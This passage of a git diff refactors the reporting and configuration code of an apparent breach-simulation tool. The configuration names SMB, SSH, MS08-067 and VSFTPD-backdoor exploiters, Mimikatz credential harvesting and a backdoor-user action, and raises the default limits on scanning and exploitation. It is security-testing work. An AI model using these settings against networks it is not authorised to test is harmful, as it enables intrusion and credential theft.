+ return '%s ; %s : %s' % (username,
+ cred['type'],
+ cred['output'])
+
+
+def censor_password(password, plain_chars=3, secret_chars=5):
+ """
+ Decrypts and obfuscates password by changing characters to *
+ :param password: Password or string to obfuscate
+ :param plain_chars: How many plain-text characters should be kept at the start of the string
+ :param secret_chars: How many * symbols should be used to hide the remainder of the password
+ :return: Obfuscated string e.g. Pass****
+ """
+ if not password:
+ return ""
+ password = encryptor.dec(password)
+ return password[0:plain_chars] + '*' * secret_chars
+
+
+def censor_hash(hash_, plain_chars=5):
+ """
+ Decrypts and obfuscates hash by only showing a part of it
+ :param hash_: Hash to obfuscate
+ :param plain_chars: How many chars of hash should be shown
+ :return: Obfuscated string
+ """
+ if not hash_:
+ return ""
+ hash_ = encryptor.dec(hash_)
+ return hash_[0: plain_chars] + ' ...'
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py
new file mode 100644
index 000000000..69f178e1c
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py
@@ -0,0 +1,53 @@
+import abc
+
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique, logger
+from common.utils.attack_utils import UsageEnum
+
+
+class UsageTechnique(AttackTechnique):
+ __metaclass__ = abc.ABCMeta
+
+ @staticmethod
+ def parse_usages(usage):
+ """
+ Parses data from database and translates usage enums into strings
+ :param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1}
+ :return: usage string
+ """
+ try:
+ usage['usage'] = UsageEnum[usage['usage']].value[usage['status']]
+ except KeyError:
+ logger.error("Error translating usage enum. into string. "
+ "Check if usage enum field exists and covers all telem. statuses.")
+ return usage
+
+ @classmethod
+ def get_usage_data(cls):
+ """
+ Gets data of usage attack telemetries
+ :return: parsed list of usages from attack telemetries of usage type
+ """
+ data = list(mongo.db.telemetry.aggregate(cls.get_usage_query()))
+ return list(map(cls.parse_usages, data))
+
+ @classmethod
+ def get_usage_query(cls):
+ """
+ :return: Query that parses attack telemetries for a simple report component
+ (gets machines and attack technique usage).
+ """
+ return [{'$match': {'telem_category': 'attack',
+ 'data.technique': cls.tech_id}},
+ {'$lookup': {'from': 'monkey',
+ 'localField': 'monkey_guid',
+ 'foreignField': 'guid',
+ 'as': 'monkey'}},
+ {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
+ 'status': '$data.status',
+ 'usage': '$data.usage'}},
+ {'$addFields': {'_id': 0,
+ 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
+ 'monkey': 0}},
+ {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}},
+ {"$replaceRoot": {"newRoot": "$_id"}}]
diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py
index 5e423197f..c1b53e9ff 100644
--- a/monkey/monkey_island/cc/services/config_schema.py
+++ b/monkey/monkey_island/cc/services/config_schema.py
@@ -13,42 +13,40 @@ SCHEMA = {
"enum": [
"SmbExploiter"
],
- "title": "SMB Exploiter"
+ "title": "SMB Exploiter",
+ "attack_techniques": ["T1110", "T1075", "T1035"]
},
{
"type": "string",
"enum": [
"WmiExploiter"
],
- "title": "WMI Exploiter"
+ "title": "WMI Exploiter",
+ "attack_techniques": ["T1110", "T1106"]
},
{
"type": "string",
"enum": [
"MSSQLExploiter"
],
- "title": "MSSQL Exploiter"
- },
- {
- "type": "string",
- "enum": [
- "RdpExploiter"
- ],
- "title": "RDP Exploiter (UNSAFE)"
+ "title": "MSSQL Exploiter",
+ "attack_techniques": ["T1110"]
},
{
"type": "string",
"enum": [
"Ms08_067_Exploiter"
],
- "title": "MS08-067 Exploiter (UNSAFE)"
+ "title": "MS08-067 Exploiter (UNSAFE)",
+ "attack_techniques": []
},
{
"type": "string",
"enum": [
"SSHExploiter"
],
- "title": "SSH Exploiter"
+ "title": "SSH Exploiter",
+ "attack_techniques": ["T1110", "T1145", "T1106"]
},
{
"type": "string",
@@ -83,7 +81,7 @@ SCHEMA = {
"enum": [
"WebLogicExploiter"
],
- "title": "Oracle Web Logic Exploiter"
+ "title": "WebLogic Exploiter"
},
{
"type": "string",
@@ -91,6 +89,13 @@ SCHEMA = {
"HadoopExploiter"
],
"title": "Hadoop/Yarn Exploiter"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "VSFTPDExploiter"
+ ],
+ "title": "VSFTPD Exploiter"
}
]
},
@@ -104,6 +109,15 @@ SCHEMA = {
"BackdoorUser"
],
"title": "Back door user",
+ "attack_techniques": []
+ },
+ {
+ "type": "string",
+ "enum": [
+ "CommunicateAsNewUser"
+ ],
+ "title": "Communicate as new user",
+ "attack_techniques": []
},
],
},
@@ -116,14 +130,16 @@ SCHEMA = {
"enum": [
"SMBFinger"
],
- "title": "SMBFinger"
+ "title": "SMBFinger",
+ "attack_techniques": ["T1210"]
},
{
"type": "string",
"enum": [
"SSHFinger"
],
- "title": "SSHFinger"
+ "title": "SSHFinger",
+ "attack_techniques": ["T1210"]
},
{
"type": "string",
@@ -144,14 +160,16 @@ SCHEMA = {
"enum": [
"MySQLFinger"
],
- "title": "MySQLFinger"
+ "title": "MySQLFinger",
+ "attack_techniques": ["T1210"]
},
{
"type": "string",
"enum": [
"MSSQLFinger"
],
- "title": "MSSQLFinger"
+ "title": "MSSQLFinger",
+ "attack_techniques": ["T1210"]
},
{
@@ -159,16 +177,30 @@ SCHEMA = {
"enum": [
"ElasticFinger"
],
- "title": "ElasticFinger"
+ "title": "ElasticFinger",
+ "attack_techniques": ["T1210"]
}
]
}
},
"properties": {
"basic": {
- "title": "Basic - Credentials",
+ "title": "Basic - Exploits",
"type": "object",
"properties": {
+ "general": {
+ "title": "General",
+ "type": "object",
+ "properties": {
+ "should_exploit": {
+ "title": "Exploit network machines",
+ "type": "boolean",
+ "default": True,
+ "attack_techniques": ["T1210"],
+ "description": "Determines if monkey should try to safely exploit machines on the network"
+ }
+ }
+ },
"credentials": {
"title": "Credentials",
"type": "object",
@@ -305,6 +337,7 @@ SCHEMA = {
"$ref": "#/definitions/post_breach_acts"
},
"default": [
+ "CommunicateAsNewUser"
],
"description": "List of actions the Monkey will run post breach"
},
@@ -357,7 +390,7 @@ SCHEMA = {
"self_delete_in_cleanup": {
"title": "Self delete on cleanup",
"type": "boolean",
- "default": False,
+ "default": True,
"description": "Should the monkey delete its executable when going down"
},
"use_file_logging": {
@@ -382,6 +415,7 @@ SCHEMA = {
"title": "Harvest Azure Credentials",
"type": "boolean",
"default": True,
+ "attack_techniques": ["T1003"],
"description":
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
},
@@ -389,12 +423,14 @@ SCHEMA = {
"title": "Collect system info",
"type": "boolean",
"default": True,
+ "attack_techniques": ["T1082", "T1005", "T1016"],
"description": "Determines whether to collect system info"
},
"should_use_mimikatz": {
"title": "Should use Mimikatz",
"type": "boolean",
"default": True,
+ "attack_techniques": ["T1003"],
"description": "Determines whether to use Mimikatz"
},
}
@@ -412,13 +448,13 @@ SCHEMA = {
"victims_max_find": {
"title": "Max victims to find",
"type": "integer",
- "default": 30,
+ "default": 100,
"description": "Determines the maximum number of machines the monkey is allowed to scan"
},
"victims_max_exploit": {
"title": "Max victims to exploit",
"type": "integer",
- "default": 7,
+ "default": 15,
"description":
"Determines the maximum number of machines the monkey"
" is allowed to successfully exploit. " + WARNING_SIGN
@@ -465,17 +501,11 @@ SCHEMA = {
"default": 60,
"description": "Time to keep tunnel open before going down after last exploit (in seconds)"
},
- "monkey_dir_windows": {
- "title": "Monkey's windows directory",
+ "monkey_dir_name": {
+ "title": "Monkey's directory name",
"type": "string",
- "default": r"C:\Windows\temp\monkey_dir",
- "description": "Directory containing all monkey files on windows"
- },
- "monkey_dir_linux": {
- "title": "Monkey's linux directory",
- "type": "string",
- "default": "/tmp/monkey_dir",
- "description": "Directory containing all monkey files on linux"
+ "default": r"monkey_dir",
+ "description": "Directory name for the directory which will contain all of the monkey files"
},
}
},
@@ -558,14 +588,14 @@ SCHEMA = {
"dropper_target_path_win_32": {
"title": "Dropper target path on Windows (32bit)",
"type": "string",
- "default": "C:\\Windows\\monkey32.exe",
+ "default": "C:\\Windows\\temp\\monkey32.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(32bit)"
},
"dropper_target_path_win_64": {
"title": "Dropper target path on Windows (64bit)",
"type": "string",
- "default": "C:\\Windows\\monkey64.exe",
+ "default": "C:\\Windows\\temp\\monkey64.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(64 bit)"
},
@@ -722,7 +752,8 @@ SCHEMA = {
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
- "HadoopExploiter"
+ "HadoopExploiter",
+ "VSFTPDExploiter"
],
"description":
"Determines which exploits to use. " + WARNING_SIGN
@@ -761,19 +792,6 @@ SCHEMA = {
}
}
},
- "rdp_grinder": {
- "title": "RDP grinder",
- "type": "object",
- "properties": {
- "rdp_use_vbs_download": {
- "title": "Use VBS download",
- "type": "boolean",
- "default": True,
- "description": "Determines whether to use VBS or BITS to download monkey to remote machine"
- " (true=VBS, false=BITS)"
- }
- }
- },
"sambacry": {
"title": "SambaCry",
"type": "object",
diff --git a/monkey/monkey_island/cc/services/configuration/__init__.py b/monkey/monkey_island/cc/services/configuration/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/services/configuration/utils.py b/monkey/monkey_island/cc/services/configuration/utils.py
new file mode 100644
index 000000000..34d6a9bb5
--- /dev/null
+++ b/monkey/monkey_island/cc/services/configuration/utils.py
@@ -0,0 +1,5 @@
+from monkey_island.cc.services.config import ConfigService
+
+
+def get_config_network_segments_as_subnet_groups():
+ return [ConfigService.get_config_value(['basic_network', 'network_analysis', 'inaccessible_subnets'])]
diff --git a/monkey/monkey_island/cc/services/database.py b/monkey/monkey_island/cc/services/database.py
new file mode 100644
index 000000000..62e370e44
--- /dev/null
+++ b/monkey/monkey_island/cc/services/database.py
@@ -0,0 +1,31 @@
+import logging
+
+from monkey_island.cc.services.config import ConfigService
+from monkey_island.cc.services.attack.attack_config import AttackConfig
+from monkey_island.cc.services.post_breach_files import remove_PBA_files
+from flask import jsonify
+from monkey_island.cc.database import mongo
+
+
+logger = logging.getLogger(__name__)
+
+
+class Database(object):
+ def __init__(self):
+ pass
+
+ @staticmethod
+ def reset_db():
+ remove_PBA_files()
+ # We can't drop system collections.
+ [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
+ ConfigService.init_config()
+ AttackConfig.reset_config()
+ logger.info('DB was reset')
+ return jsonify(status='OK')
+
+ @staticmethod
+ def init_db():
+ if not mongo.db.collection_names():
+ Database.reset_db()
+
diff --git a/monkey/monkey_island/cc/services/edge.py b/monkey/monkey_island/cc/services/edge.py
index eb23c3901..1622d5233 100644
--- a/monkey/monkey_island/cc/services/edge.py
+++ b/monkey/monkey_island/cc/services/edge.py
@@ -2,6 +2,7 @@ from bson import ObjectId
from monkey_island.cc.database import mongo
import monkey_island.cc.services.node
+from monkey_island.cc.models import Monkey
__author__ = "itay.mizeretz"
@@ -141,15 +142,18 @@ class EdgeService:
@staticmethod
def get_edge_label(edge):
NodeService = monkey_island.cc.services.node.NodeService
- from_label = NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"]))
- if edge["to"] == ObjectId("000000000000000000000000"):
+ from_id = edge["from"]
+ to_id = edge["to"]
+
+ from_label = Monkey.get_label_by_id(from_id)
+
+ if to_id == ObjectId("000000000000000000000000"):
to_label = 'MonkeyIsland'
else:
- to_id = NodeService.get_monkey_by_id(edge["to"])
- if to_id is None:
- to_label = NodeService.get_node_label(NodeService.get_node_by_id(edge["to"]))
+ if Monkey.is_monkey(to_id):
+ to_label = Monkey.get_label_by_id(to_id)
else:
- to_label = NodeService.get_monkey_label(to_id)
+ to_label = NodeService.get_node_label(NodeService.get_node_by_id(to_id))
RIGHT_ARROW = u"\u2192"
return "%s %s %s" % (from_label, RIGHT_ARROW, to_label)
diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py
index fa500aab5..8d174c82f 100644
--- a/monkey/monkey_island/cc/services/node.py
+++ b/monkey/monkey_island/cc/services/node.py
@@ -4,9 +4,11 @@ from bson import ObjectId
import monkey_island.cc.services.log
from monkey_island.cc.database import mongo
+from monkey_island.cc.models import Monkey
from monkey_island.cc.services.edge import EdgeService
from monkey_island.cc.utils import local_ip_addresses
import socket
+from monkey_island.cc import models
__author__ = "itay.mizeretz"
@@ -20,10 +22,6 @@ class NodeService:
if ObjectId(node_id) == NodeService.get_monkey_island_pseudo_id():
return NodeService.get_monkey_island_node()
- edges = EdgeService.get_displayed_edges_by_to(node_id, for_report)
- accessible_from_nodes = []
- exploits = []
-
new_node = {"id": node_id}
node = NodeService.get_node_by_id(node_id)
@@ -44,16 +42,29 @@ class NodeService:
new_node["ip_addresses"] = node["ip_addresses"]
new_node["domain_name"] = node["domain_name"]
+ accessible_from_nodes = []
+ accessible_from_nodes_hostnames = []
+ exploits = []
+
+ edges = EdgeService.get_displayed_edges_by_to(node_id, for_report)
+
for edge in edges:
- accessible_from_nodes.append(NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"])))
+ from_node_id = edge["from"]
+ from_node_label = Monkey.get_label_by_id(from_node_id)
+ from_node_hostname = Monkey.get_hostname_by_id(from_node_id)
+
+ accessible_from_nodes.append(from_node_label)
+ accessible_from_nodes_hostnames.append(from_node_hostname)
+
for exploit in edge["exploits"]:
- exploit["origin"] = NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"]))
+ exploit["origin"] = from_node_label
exploits.append(exploit)
exploits.sort(cmp=NodeService._cmp_exploits_by_timestamp)
new_node["exploits"] = exploits
new_node["accessible_from_nodes"] = accessible_from_nodes
+ new_node["accessible_from_nodes_hostnames"] = accessible_from_nodes_hostnames
if len(edges) > 0:
new_node["services"] = edges[-1]["services"]
else:
@@ -66,7 +77,7 @@ class NodeService:
def get_node_label(node):
domain_name = ""
if node["domain_name"]:
- domain_name = " ("+node["domain_name"]+")"
+ domain_name = " (" + node["domain_name"] + ")"
return node["os"]["version"] + " : " + node["ip_addresses"][0] + domain_name
@staticmethod
@@ -104,11 +115,13 @@ class NodeService:
@staticmethod
def get_monkey_critical_services(monkey_id):
- critical_services = mongo.db.monkey.find_one({'_id': monkey_id}, {'critical_services': 1}).get('critical_services', [])
+ critical_services = mongo.db.monkey.find_one({'_id': monkey_id}, {'critical_services': 1}).get(
+ 'critical_services', [])
return critical_services
@staticmethod
def get_monkey_label(monkey):
+ # todo
label = monkey["hostname"] + " : " + monkey["ip_addresses"][0]
ip_addresses = local_ip_addresses()
if len(set(monkey["ip_addresses"]).intersection(ip_addresses)) > 0:
@@ -123,7 +136,7 @@ class NodeService:
monkey_type = "manual" if NodeService.get_monkey_manual_run(monkey) else "monkey"
monkey_os = NodeService.get_monkey_os(monkey)
- monkey_running = "" if monkey["dead"] else "_running"
+ monkey_running = "" if Monkey.get_single_monkey_by_id(monkey["_id"]).is_dead() else "_running"
return "%s_%s%s" % (monkey_type, monkey_os, monkey_running)
@staticmethod
@@ -134,14 +147,18 @@ class NodeService:
@staticmethod
def monkey_to_net_node(monkey, for_report=False):
- label = monkey['hostname'] if for_report else NodeService.get_monkey_label(monkey)
+ monkey_id = monkey["_id"]
+ label = Monkey.get_hostname_by_id(monkey_id) if for_report else Monkey.get_label_by_id(monkey_id)
+ monkey_group = NodeService.get_monkey_group(monkey)
return \
{
- "id": monkey["_id"],
+ "id": monkey_id,
"label": label,
- "group": NodeService.get_monkey_group(monkey),
+ "group": monkey_group,
"os": NodeService.get_monkey_os(monkey),
- "dead": monkey["dead"],
+ # The monkey is running IFF the group contains "_running". Therefore it's dead IFF the group does NOT
+ # contain "_running". This is a small optimisation, to not call "is_dead" twice.
+ "dead": "_running" not in monkey_group,
"domain_name": "",
"pba_results": monkey["pba_results"] if "pba_results" in monkey else []
}
@@ -243,6 +260,12 @@ class NodeService:
{'$set': props_to_set},
upsert=False)
+ @staticmethod
+ def add_communication_info(monkey, info):
+ mongo.db.monkey.update({"guid": monkey["guid"]},
+ {"$set": {'command_control_channel': info}},
+ upsert=False)
+
@staticmethod
def get_monkey_island_monkey():
ip_addresses = local_ip_addresses()
@@ -293,7 +316,8 @@ class NodeService:
@staticmethod
def is_any_monkey_alive():
- return mongo.db.monkey.find_one({'dead': False}) is not None
+ all_monkeys = models.Monkey.objects()
+ return any(not monkey.is_dead() for monkey in all_monkeys)
@staticmethod
def is_any_monkey_exists():
@@ -303,10 +327,6 @@ class NodeService:
def is_monkey_finished_running():
return NodeService.is_any_monkey_exists() and not NodeService.is_any_monkey_alive()
- @staticmethod
- def get_latest_modified_monkey():
- return mongo.db.monkey.find({}).sort('modifytime', -1).limit(1)
-
@staticmethod
def add_credentials_to_monkey(monkey_id, creds):
mongo.db.monkey.update(
diff --git a/monkey/monkey_island/cc/services/reporting/__init__.py b/monkey/monkey_island/cc/services/reporting/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
similarity index 95%
rename from monkey/monkey_island/cc/resources/aws_exporter.py
rename to monkey/monkey_island/cc/services/reporting/aws_exporter.py
index 7e1f17c48..84940df56 100644
--- a/monkey/monkey_island/cc/resources/aws_exporter.py
+++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
@@ -7,7 +7,7 @@ from botocore.exceptions import UnknownServiceError
from common.cloud.aws_instance import AwsInstance
from monkey_island.cc.environment.environment import load_server_configuration_from_file
-from monkey_island.cc.resources.exporter import Exporter
+from monkey_island.cc.services.reporting.exporter import Exporter
__authors__ = ['maor.rayzin', 'shay.nehmad']
@@ -58,7 +58,6 @@ class AWSExporter(Exporter):
'wmi_password': AWSExporter._handle_wmi_password_issue,
'wmi_pth': AWSExporter._handle_wmi_pth_issue,
'ssh_key': AWSExporter._handle_ssh_key_issue,
- 'rdp': AWSExporter._handle_rdp_issue,
'shared_passwords_domain': AWSExporter._handle_shared_passwords_domain_issue,
'shared_admins_domain': AWSExporter._handle_shared_admins_domain_issue,
'strong_users_on_crit': AWSExporter._handle_strong_users_on_crit_issue,
@@ -305,20 +304,6 @@ class AWSExporter(Exporter):
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
- @staticmethod
- def _handle_rdp_issue(issue, instance_arn):
-
- return AWSExporter._build_generic_finding(
- severity=1,
- title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
- description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
- issue['username']),
- recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format(
- machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
- instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
- )
-
@staticmethod
def _handle_shared_passwords_domain_issue(issue, instance_arn):
diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/services/reporting/exporter.py
similarity index 100%
rename from monkey/monkey_island/cc/resources/exporter.py
rename to monkey/monkey_island/cc/services/reporting/exporter.py
diff --git a/monkey/monkey_island/cc/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py
similarity index 60%
rename from monkey/monkey_island/cc/exporter_init.py
rename to monkey/monkey_island/cc/services/reporting/exporter_init.py
index fdf26fe8f..bd4e82f3e 100644
--- a/monkey/monkey_island/cc/exporter_init.py
+++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py
@@ -1,16 +1,16 @@
import logging
-from monkey_island.cc.report_exporter_manager import ReportExporterManager
-from monkey_island.cc.resources.aws_exporter import AWSExporter
+from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager
+from monkey_island.cc.services.reporting.aws_exporter import AWSExporter
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
-
+from monkey_island.cc.environment.environment import env
logger = logging.getLogger(__name__)
def populate_exporter_list():
manager = ReportExporterManager()
RemoteRunAwsService.init()
- if RemoteRunAwsService.is_running_on_aws():
+ if RemoteRunAwsService.is_running_on_aws() and ('aws' == env.get_deployment()):
manager.add_exporter_to_list(AWSExporter)
if len(manager.get_exporters_list()) != 0:
diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/reporting/pth_report.py
similarity index 95%
rename from monkey/monkey_island/cc/services/pth_report.py
rename to monkey/monkey_island/cc/services/reporting/pth_report.py
index 93fd51989..9f3b9769f 100644
--- a/monkey/monkey_island/cc/services/pth_report.py
+++ b/monkey/monkey_island/cc/services/reporting/pth_report.py
@@ -1,6 +1,7 @@
from itertools import product
from monkey_island.cc.database import mongo
+from monkey_island.cc.models import Monkey
from bson import ObjectId
from monkey_island.cc.services.groups_and_users_consts import USERTYPE
@@ -216,15 +217,15 @@ class PTHReportService(object):
@staticmethod
def generate_map_nodes():
- monkeys = mongo.db.monkey.find({}, {'_id': 1, 'hostname': 1, 'critical_services': 1, 'ip_addresses': 1})
+ monkeys = filter(lambda m: m.get_os() == "windows", Monkey.objects())
return [
{
- 'id': monkey['_id'],
- 'label': '{0} : {1}'.format(monkey['hostname'], monkey['ip_addresses'][0]),
- 'group': 'critical' if monkey.get('critical_services', []) else 'normal',
- 'services': monkey.get('critical_services', []),
- 'hostname': monkey['hostname']
+ 'id': monkey.guid,
+ 'label': '{0} : {1}'.format(monkey.hostname, monkey.ip_addresses[0]),
+ 'group': 'critical' if monkey.critical_services is not None else 'normal',
+ 'services': monkey.critical_services,
+ 'hostname': monkey.hostname
} for monkey in monkeys
]
diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/reporting/report.py
similarity index 88%
rename from monkey/monkey_island/cc/services/report.py
rename to monkey/monkey_island/cc/services/reporting/report.py
index a19dc03c0..0d2b6858d 100644
--- a/monkey/monkey_island/cc/services/report.py
+++ b/monkey/monkey_island/cc/services/reporting/report.py
@@ -1,26 +1,27 @@
-import itertools
import functools
-
-import ipaddress
+import itertools
import logging
+import ipaddress
from bson import json_util
from enum import Enum
-
from six import text_type
+from common.network.network_range import NetworkRange
+from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
from monkey_island.cc.database import mongo
-from monkey_island.cc.report_exporter_manager import ReportExporterManager
+from monkey_island.cc.models import Monkey
from monkey_island.cc.services.config import ConfigService
+from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups
from monkey_island.cc.services.edge import EdgeService
from monkey_island.cc.services.node import NodeService
+from monkey_island.cc.services.reporting.pth_report import PTHReportService
+from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager
+from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_regular_report
from monkey_island.cc.utils import local_ip_addresses, get_subnets
-from pth_report import PTHReportService
-from common.network.network_range import NetworkRange
__author__ = "itay.mizeretz"
-
logger = logging.getLogger(__name__)
@@ -33,7 +34,6 @@ class ReportService:
'SmbExploiter': 'SMB Exploiter',
'WmiExploiter': 'WMI Exploiter',
'SSHExploiter': 'SSH Exploiter',
- 'RdpExploiter': 'RDP Exploiter',
'SambaCryExploiter': 'SambaCry Exploiter',
'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
'Ms08_067_Exploiter': 'Conficker Exploiter',
@@ -41,7 +41,8 @@ class ReportService:
'Struts2Exploiter': 'Struts2 Exploiter',
'WebLogicExploiter': 'Oracle WebLogic Exploiter',
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
- 'MSSQLExploiter': 'MSSQL Exploiter'
+ 'MSSQLExploiter': 'MSSQL Exploiter',
+ 'VSFTPDExploiter': 'VSFTPD Backdoor Exploited'
}
class ISSUES_DICT(Enum):
@@ -56,8 +57,9 @@ class ReportService:
STRUTS2 = 8
WEBLOGIC = 9
HADOOP = 10
- PTH_CRIT_SERVICES_ACCESS = 11,
+ PTH_CRIT_SERVICES_ACCESS = 11
MSSQL = 12
+ VSFTPD = 13
class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0
@@ -115,22 +117,17 @@ class ReportService:
@staticmethod
def get_scanned():
-
formatted_nodes = []
- nodes = \
- [NodeService.get_displayed_node_by_id(node['_id'], True) for node in mongo.db.node.find({}, {'_id': 1})] \
- + [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in
- mongo.db.monkey.find({}, {'_id': 1})]
+ nodes = ReportService.get_all_displayed_nodes()
+
for node in nodes:
+ nodes_that_can_access_current_node = node['accessible_from_nodes_hostnames']
formatted_nodes.append(
{
'label': node['label'],
'ip_addresses': node['ip_addresses'],
- 'accessible_from_nodes':
- list((x['hostname'] for x in
- (NodeService.get_displayed_node_by_id(edge['from'], True)
- for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))),
+ 'accessible_from_nodes': nodes_that_can_access_current_node,
'services': node['services'],
'domain_name': node['domain_name'],
'pba_results': node['pba_results'] if 'pba_results' in node else 'None'
@@ -140,25 +137,37 @@ class ReportService:
return formatted_nodes
+ @staticmethod
+ def get_all_displayed_nodes():
+ nodes_without_monkeys = [NodeService.get_displayed_node_by_id(node['_id'], True) for node in
+ mongo.db.node.find({}, {'_id': 1})]
+ nodes_with_monkeys = [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in
+ mongo.db.monkey.find({}, {'_id': 1})]
+ nodes = nodes_without_monkeys + nodes_with_monkeys
+ return nodes
+
@staticmethod
def get_exploited():
- exploited = \
+ exploited_with_monkeys = \
[NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in
- mongo.db.monkey.find({}, {'_id': 1})
- if not NodeService.get_monkey_manual_run(NodeService.get_monkey_by_id(monkey['_id']))] \
- + [NodeService.get_displayed_node_by_id(node['_id'], True)
- for node in mongo.db.node.find({'exploited': True}, {'_id': 1})]
+ mongo.db.monkey.find({}, {'_id': 1}) if
+ not NodeService.get_monkey_manual_run(NodeService.get_monkey_by_id(monkey['_id']))]
+
+ exploited_without_monkeys = [NodeService.get_displayed_node_by_id(node['_id'], True) for node in
+ mongo.db.node.find({'exploited': True}, {'_id': 1})]
+
+ exploited = exploited_with_monkeys + exploited_without_monkeys
exploited = [
{
- 'label': monkey['label'],
- 'ip_addresses': monkey['ip_addresses'],
- 'domain_name': monkey['domain_name'],
+ 'label': exploited_node['label'],
+ 'ip_addresses': exploited_node['ip_addresses'],
+ 'domain_name': exploited_node['domain_name'],
'exploits': list(set(
- [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if
- exploit['result']]))
+ [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in exploited_node['exploits']
+ if exploit['result']]))
}
- for monkey in exploited]
+ for exploited_node in exploited]
logger.info('Exploited nodes generated for reporting')
@@ -169,7 +178,7 @@ class ReportService:
PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
creds = []
for telem in mongo.db.telemetry.find(
- {'telem_type': 'system_info_collection', 'data.credentials': {'$exists': True}},
+ {'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
{'data.credentials': 1, 'monkey_guid': 1}
):
monkey_creds = telem['data']['credentials']
@@ -197,7 +206,7 @@ class ReportService:
"""
creds = []
for telem in mongo.db.telemetry.find(
- {'telem_type': 'system_info_collection', 'data.ssh_info': {'$exists': True}},
+ {'telem_category': 'system_info', 'data.ssh_info': {'$exists': True}},
{'data.ssh_info': 1, 'monkey_guid': 1}
):
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
@@ -205,8 +214,9 @@ class ReportService:
# Pick out all ssh keys not yet included in creds
ssh_keys = [{'username': key_pair['name'], 'type': 'Clear SSH private key',
'origin': origin} for key_pair in telem['data']['ssh_info']
- if key_pair['private_key'] and {'username': key_pair['name'], 'type': 'Clear SSH private key',
- 'origin': origin} not in creds]
+ if
+ key_pair['private_key'] and {'username': key_pair['name'], 'type': 'Clear SSH private key',
+ 'origin': origin} not in creds]
creds.extend(ssh_keys)
return creds
@@ -218,7 +228,7 @@ class ReportService:
"""
creds = []
for telem in mongo.db.telemetry.find(
- {'telem_type': 'system_info_collection', 'data.Azure': {'$exists': True}},
+ {'telem_category': 'system_info', 'data.Azure': {'$exists': True}},
{'data.Azure': 1, 'monkey_guid': 1}
):
azure_users = telem['data']['Azure']['usernames']
@@ -254,6 +264,7 @@ class ReportService:
else:
processed_exploit['type'] = 'hash'
return processed_exploit
+ return processed_exploit
@staticmethod
def process_smb_exploit(exploit):
@@ -284,9 +295,9 @@ class ReportService:
return processed_exploit
@staticmethod
- def process_rdp_exploit(exploit):
+ def process_vsftpd_exploit(exploit):
processed_exploit = ReportService.process_general_creds_exploit(exploit)
- processed_exploit['type'] = 'rdp'
+ processed_exploit['type'] = 'vsftp'
return processed_exploit
@staticmethod
@@ -347,7 +358,6 @@ class ReportService:
'SmbExploiter': ReportService.process_smb_exploit,
'WmiExploiter': ReportService.process_wmi_exploit,
'SSHExploiter': ReportService.process_ssh_exploit,
- 'RdpExploiter': ReportService.process_rdp_exploit,
'SambaCryExploiter': ReportService.process_sambacry_exploit,
'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
@@ -355,15 +365,21 @@ class ReportService:
'Struts2Exploiter': ReportService.process_struts2_exploit,
'WebLogicExploiter': ReportService.process_weblogic_exploit,
'HadoopExploiter': ReportService.process_hadoop_exploit,
